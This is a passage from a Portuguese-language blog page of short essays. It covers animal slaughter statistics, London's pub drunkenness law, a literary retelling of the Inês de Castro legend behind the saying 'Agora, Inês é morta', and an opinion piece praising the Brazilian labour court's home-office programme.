Por aqui, nem pensem em molestar os cetáceos! Porém, segundo números de 2012, apresentados pelo Instituto Brasileiro de Geografia e Estatística – IBGE, dizimamos por segundo, no Brasil, um boi, um porco e 166 frangos, mantidos em cruéis condições de cativeiro, à espera do dia do extermínio.

Em Faroe acontece o abate anual, coletivo, às claras. Por aqui, ocorre uma carnificina diária, disfarçada, encoberta pela força e poderio econômico do predador humano. Escapar da volúpia lucrativa do homem selvagem torna-se para os bichos uma façanha cujo sucesso depende da camaradagem do próprio algoz, que se converte em ativista e resgata 200 cães da raça Beagle de um laboratório de testes…

Posso assegurar que é mais fácil, em Londres, você ser preso por passar as mãos num cisne em qualquer parque da cidade, a violar a lei da bebedeira num pub qualquer.

Em Londres, desde muito tempo, 1839, que é proibido ficar bêbado em qualquer tipo de estabelecimento, normalmente conhecido como pub. Esqueçam essa lei. Ela não funciona. Aliás, nunca funcionou. Os cidadãos ingleses, ou os estrangeiros, que sequer conhecem essa lei, a desprezam totalmente.

A polícia só age nas hipóteses de violência ou vandalismo. O próprio sistema legal já é questionado, mas provavelmente não mudará.

No mais, beba a vontade e que Deus salve você e a rainha.

A expressão que se tornou ditado popular tem origem num “cawso” curioso tingido de muito sangue, ocorrido há mais de seis séculos, na data certa de 7 de janeiro de 1355, de acordo com o calendário Gregoriano. Neste dia sinistro, Portugal escureceu tenebrosamente e mergulhou na Era das Trevas. A alma de todo o povo foi vendada por um julgamento sumário, executado com uma decapitação.

A História retrata Inês de Castro como dona de rara beleza, com penetrantes e suaves olhos verdes-mar, longos cabelos loiros, recaídos sobre seu colo todo cândido, todo etéreo, enevoado de encanto sob os tons azuis das vestes que cuidava preferir. Galega de nascimento, chegou a terras lusitanas integrando a comitiva que cortejava Constança Manoel, na destacada condição de sua dama de companhia.

O consórcio de Constança e D. Pedro, filho do rei Afonso IV, em agosto de 1340, na Sé de Lisboa, revelou ao mundo a intensidade do amor que tange ardentemente as fibras do coração português. No verso cantado por Júlio Dantas na peça “A Ceia dos Cardeais”, o Cardeal Gonzaga divaga:

― Em que pensa, cardeal?

― Em como é diferente o amor em Portugal!

Nem a frase sutil, nem o duelo sangrento…

É o amor coração, é o amor sentimento.

Uma lágrima… Um beijo… Uns sinos a tocar…

Um parzinho que ajoelha e que se vai casar.

Tão simples em tudo! Amor, que de rosas se inflora:

Em sendo triste canta, em sendo alegre chora!

O amor simplicidade, o amor delicadeza…

Ai, como sabe amar a gente portuguesa!

Mas o amor em questão não é o de D. Pedro e Constança, mas do príncipe herdeiro e Inês de Castro, que quando se viram sentiram o mesmo bulício. O desassossego que lhes tomou de roldão foi o início de uma dor recatada, respeitosa e por demais sofrida. Pelo tanto que suas vidas foram avassaladas pelo fervor que partilhavam, o rei Afonso IV determinou o exílio da jovem da Galiza no Solar dos Albuquerques, em Castela, onde deveria represar as ânsias do seu afeto no convívio com a tia D. Tereza Albuquerque.

Com a morte de Constança, em fins de 1345 ― no parto de Fernando, que mais tarde sucederia o pai no trono de Portugal ―, a impetuosidade de D. Pedro o leva a Albuquerque, contra a vontade do rei, e o mantém ao lado de Inês de Castro pelos dez anos que se seguiram. Não viveram mais porque, deixando o isolamento, a vida nômade e anônima, fixaram residência na visível Coimbra…

Enquanto transcorriam os festejos natalinos de 1354 e os preparativos para o Ano Novo, Afonso IV não se conformava, não descansava. Num típico processo inquisitorial daquela época, em que apreensões com a sobrevivência da dinastia se misturavam com elaborações políticas outras, o incômodo com a presença dos irmãos estrangeiros de Inês, associado à dizimação do povo pela Peste Negra, deglutindo cada vez mais vidas, levou à convocação de um conselho real para que fosse proferida uma solução.

Supunha-se que uma sentença resgataria o bem maior, em prol de toda a nação. Naqueles tempos, em que a Igreja retirava de seu título a designação “Cristã” para se aclamar “Católica”, santos eram cultuados do mesmo modo que se fazia aos deuses do Paganismo, e talvez estivessem enfurecidos com a união espúria de D. Pedro e Inês de Castro… Tantas cogitações naqueles séculos de fuga da ponderação conduziram o sórdido conclave à determinação de que a bela mulher deveria ser degolada.

Na tarde de 7 de janeiro de 1355, quando da caça com alguns convidados nos arredores de Coimbra, aproxima-se um tropel. O cavaleiro recém-chegado dirige-se a D. Pedro para transmitir a desesperadora notícia de que Inês havia sido arrancada com violência do leito e dos três pequenos filhos do casal. Ao retornar ao castelo em cavalgada desenfreada, entra trôpego pelos corredores, com gritos desprendidos da garganta de veias estufadas, a pele febril pelo sangue fervido. Bradava o nome Inês. Encontra a fiel aia da dama com os cabelos grisalhos desalinhados, alma ferida por aguda dor, sustendo as crianças no colo e nas pernas. Apenas diz:

― Agora, Inês é morta!

D. Pedro proclama guerra contra o próprio pai e organiza um exército em marcha para o Porto. Conta o povo da Lusitânia que somente foi dissuadido de lutar até a morte por influência da sua avó Isabel de Aragão. A Rainha Santa, a mesma que transformou pães em rosas, teria inspirado Álvaro Pereira, o guardião do Porto, a estender os símbolos nacionais sobre as barricadas. Também teria soprado uma branda e gélida brisa sobre o furor implacável do neto, para que então fossem firmadas as Pazes de Canaveses em 5 de agosto de 1355. Com elas, o infante dividia com o rei a administração do reino. D. Pedro assumia então a Justiça de Portugal.

Ao se tornar o rei Pedro I, no início de 1357, é oficializada sua união com Inês de Castro através da Declaração de Cantanhede, de 1360, e celebra a coroação da sua eterna amada como rainha, trasladando seu corpo de Coimbra a Alcobaça, numa cerimônia que percorria estradas iluminadas por tochas, a cujas margens camponeses se ajoelhavam reverentemente. Pedro I seguiu a longa caminhada, vencendo a madrugada; Inês parecia sorrir. Após um dia de viagem, Pedro e Inês alcançam a praça de Alcobaça, recamada de pétalas de flores. A coroação póstuma acontece na catedral, onde se dá um longo desfile pelo túmulo esculpido pelos mestres da escola coimbrã. O tradicional beija-mão da rainha se passa aos sons da suave charamela.

A comoção e o cansaço prostraram Pedro I que, apesar de sereno e aliviado com a cerimônia em homenagem à campeã de seus sonhos, ainda repete para si mesmo:

― Agora, Inês é morta!

A coisa julgada cristalizou a mais vil injustiça!

27 469

O Tribunal Superior do Trabalho adotou o home office.

Dez Tribunais do País, além do TST, colocaram em prática esse projeto-piloto de trabalho em casa.

Antes, 30% dos servidores podiam optar por esse sistema. Agora, 50% deles foram autorizados a adotar a prática do trabalho “doméstico”.

O home office no TST é facultativo. A decisão sobre a sua conveniência está sob critérios do gestor de cada setor. A concessão do “benefício” está restrita aos cargos em que é possível medir objetivamente o desempenho do servidor.

A comunicação dos funcionários que trabalham à distância com os funcionários que trabalham no Tribunal se dá, obviamente, através de telefone, internet e visitas determinadas ao Tribunal.

O programa também é aberto aos Desembargadores.

A medida representa redução de despesas e melhor produtividade dos servidores.

Segundo o Tribunal, a produtividade do trabalho à distância é em média 20% maior do que o presencial.

Além de ter metas a cumprir, os servidores não podem sair do Distrito Federal em horário de expediente, sem autorização.

Não há nenhuma dúvida de que a adoção do home office em escala traria uma enorme economia a quase todos os setores da atividade produtiva do País.

A sociedade ainda não percebeu que não mais se justificam, por conta da tecnologia de hoje, os picos de deslocamento das massas de trabalhadores a entupir as cidades nas primeiras horas do dia e ao final de cada tarde.

Evidentíssimos são os benefícios que uma cidade como São Paulo, por exemplo, com plena capacidade financeira e tecnológica para adotar a prática, teria se mergulhasse de corpo e alma nesse projeto.

Mas, é muito compreensível, porém, a timidez que o risco jurídico da prática pode provocar na iniciativa privada. É a Justiça do Trabalho que define o regular e o irregular. E um funcionário irregular, trabalhando em casa, pode representar um enorme prejuízo à empresa.

Perdoado o paradoxo, aplausos para a Justiça do Trabalho, pela iniciativa de adotar o home office para seus servidores.

Curiosidades

O Empreendedor Visionário

0 931
Uma das maiores capacidades do ser Humano é a capacidade de Visão. Neste caso, o que está verdadeiramente em causa quando se fala em...